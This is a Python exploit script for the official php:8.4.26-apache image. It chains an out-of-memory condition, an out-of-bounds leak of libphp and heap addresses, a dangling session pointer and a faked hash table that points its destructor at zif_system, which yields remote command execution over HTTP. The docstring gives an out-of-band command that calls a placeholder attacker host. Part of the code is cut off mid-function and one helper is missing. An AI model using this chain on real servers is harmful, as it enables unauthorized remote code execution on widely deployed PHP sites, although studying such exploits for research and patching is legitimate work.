#!/usr/bin/env python3 """One-shot pure-HTTP exploit for official php:8.4.26-apache, 128M, display_errors=Off (no gdb, no target-side files). A1 : END-cleanup send_cookie OOM (mk_a1.py, chunked) B1 : stale-id OOB read -> chunk base + libphp base (mk_leak_b.py, chunked) A2 : cheap-OOM -> dangling PS(http_session_vars) B2 : fake reference + fake zend_array -> pDestructor = zif_system The proof command (default `id>/out/p1`) runs inside the target. For a remote target use an out-of-band command, e.g. --cmd 'php -r "file_get_contents(\\"http://ATTACKER/ok\\");"' usage: python3 exploit.py --port 18110 --restart p2s-pure-18110 `pure/pwn_pure.py` is kept as a compatibility alias for this entry point. For the stock official prefork config (MaxRequestWorkers=150), the exploit holds `--workers - 1` partial requests open so the four chain requests are served by the same child. Use `--workers 1` for the old single-worker lab. """ from __future__ import annotations import argparse import os import socket import struct import subprocess import sys import tempfile import time import urllib.parse from collections import Counter HERE = os.path.dirname(os.path.abspath(__file__)) R = HERE PURE = os.path.join(HERE, "pure") Q = "?q0000000=v&q0000001=v&q0000002=v&q0000003=v&q0000004=v" LEAK_SPEC = ",".join(["G:511:0x137"] * 14 + ["G:400:0x137", "G:511:0x137", "X:900"]) # pointers-to-main-chunk fingerprint in the LEAK_SPEC window (stable count) MAIN_BUCKET_COUNT = 87 def send_chunked(port: int, path: str, body_file: str, timeout: float, save: str = "") -> bytes: cmd = [sys.executable, os.path.join(PURE, "chunked_send.py"), "--port", str(port), "--body-file", body_file, "--path", path, "--timeout", str(timeout)] if save: cmd += ["--save-response", save] subprocess.run(cmd, check=True, stdout=subprocess.DEVNULL) return open(save, "rb").read() if save else b"" def send_plain(port: int, path: str, body: bytes, timeout: float = 120.0) -> bytes: req = ("POST %s HTTP/1.1\r\nHost: 127.0.0.1:%d\r\n" "Content-Type: multipart/form-data; boundary=%s\r\n" "Content-Length: %d\r\nConnection: close\r\n\r\n" % (path, port, "C" * 10, len(body))).encode() out = bytearray() s = socket.create_connection(("127.0.0.1", port), timeout=timeout) s.settimeout(timeout) try: s.sendall(req + body) while len(out) < 4 << 20: chunk = s.recv(65536) if not chunk: break out.extend(chunk) except OSError: pass s.close() return bytes(out) def parse_leak(resp: bytes): i = resp.find(b"Set-Cookie: PHPSESSID=") if i < 0: raise RuntimeError("no Set-Cookie in leak response (%d bytes)" % len(resp)) val = resp[i + len("Set-Cookie: PHPSESSID="):].split(b"\r\n")[0] dec = urllib.parse.unquote_to_bytes(val.decode("latin1")) counts = Counter() for off in range(0, len(dec) - 8, 8): q = struct.unpack_from(" int: ap = argparse.ArgumentParser() ap.add_argument("--port", type=int, default=18110) ap.add_argument("--restart", default="", help="docker container name to restart before the chain") ap.add_argument("--docker", default="sudo docker") ap.add_argument("--cmd", default="id>/out/p1") ap.add_argument("--proof", default=os.path.join(R, "out", "p1")) ap.add_argument("--outdir", default=os.path.join(R, "out")) ap.add_argument("--timeout", type=float, default=600.0) ap.add_argument("--retries", type=int, default=3) ap.add_argument("--workers", type=int, default=150, help="prefork MaxRequestWorkers (1 = no pinning)") args = ap.parse_args() os.makedirs(args.outdir, exist_ok=True) if os.path.exists(args.proof): try: os.remove(args.proof) except PermissionError: subprocess.run(["sudo", "rm", "-f", args.proof], check=False) # libphp is mapped ~0x1B-0x1E0 MB above the main chunk; use this to # reject a leak whose most-common pointer is some other repeated value. DELTA_MIN, DELTA_MAX = 0x1A00000, 0x1F00000 if args.restart: subprocess.run(args.docker.split() + ["restart", args.restart], check=True, stdout=subprocess.DEVNULL) time.sleep(1.2) holders = hold_workers(args.port, args.workers) try: return run_chain(args, holders, DELTA_MIN, DELTA_MAX) finally: for s in holders: try: s.close() except OSError: pass def run_chain(args, holders, DELTA_MIN, DELTA_MAX) -> int: for attempt in range(1, args.retries + 1): tmp = tempfile.mkdtemp(prefix="p2s-pure-") try: s = socket.create_connection(("127.0.0.1", args.port), timeout=5) s.sendall(b"GET /index.php HTTP/1.0\r\nHost: x\r\n\r\n") s.recv(1024) s.close() except OSError: pass print("[try %d] A1: END-cleanup send_cookie OOM" % attempt) a1 = os.path.join(tmp, "a.bin") subprocess.run([sys.executable, os.path.join(PURE, "mk_a1.py"), "--out", a1, "--big", "78"], check=True, stdout=subprocess.DEVNULL) send_chunked(args.port, "/index.php" + Q, a1, 180) time.sleep(0.2) print("[try %d] B1: stale-id OOB read (chunk base + libphp)" % attempt) b1 = os.path.join(tmp, "b1.bin") subprocess.run([sys.executable, os.path.join(PURE, "mk_leak_b.py"), "--out", b1, "--spec", LEAK_SPEC, "--fake-len", "0xC8000", "--tag"], check=True, stdout=subprocess.DEVNULL) leak_file = os.path.join(tmp, "leak.resp") try: resp = send_chunked(args.port, "/index.php", b1, args.timeout, leak_file) info = parse_leak(resp) except Exception as exc: print(" leak failed: %r" % (exc,)) continue print(" decoded=%d zval_ptr_dtor=%#x -> libphp=%#x" % ( info["decoded"], info["zdtor"], info["lib"])) print(" chunk buckets: %s" % [(hex(b), c) for b, c in info["buckets"].most_common(6)]) if not info["main_candidates"]: print(" no main-chunk candidate") continue main = info["main_candidates"][0] delta = info["lib"] - main if not (DELTA_MIN <= delta <= DELTA_MAX): print(" implausible libphp-main delta %#x; re-leak" % delta) continue zif = info["lib"] + 0x465370 for cand in info["main_candidates"]: S = cand + 0xF8398 print("[try %d] A2 + B2: main=%#x S=%#x zif_system=%#x" % ( attempt, cand, S, zif)) subprocess.run([sys.executable, os.path.join(PURE, "cheap_oom_a.py"), "--port", str(args.port), "--parts", "880", "--depth", "64", "--fillers", "115"], check=True, stdout=subprocess.DEVNULL) time.sleep(0.2) ht = os.path.join(tmp, "ht.bin") subprocess.run([sys.executable, os.path.join(PURE, "mk_ht.py"), hex(S), hex(zif), args.cmd, ht], check=True, stdout=subprocess.DEVNULL) subprocess.run([sys.executable, os.path.join(PURE, "fake_ref_b.py"), "--port", str(args.port), "--vl", "384", "--n1", "500", "--n2", "495", "--rc", "1", "--ht-addr", hex(S), "--ht-file", ht], check=True, stdout=subprocess.DEVNULL) time.sleep(0.6) if os.path.exists(args.proof): try: proof = open(args.proof).read().strip() except PermissionError: proof = subprocess.run(["sudo", "cat", args.proof], capture_output=True, text=True).stdout.strip() print("[4/4] RCE OK; proof %s:" % args.proof) print(proof) return 0 print(" candidate failed (no proof)") print("[4/4] all attempts failed") return 1 if __name__ == "__main__": raise SystemExit(main())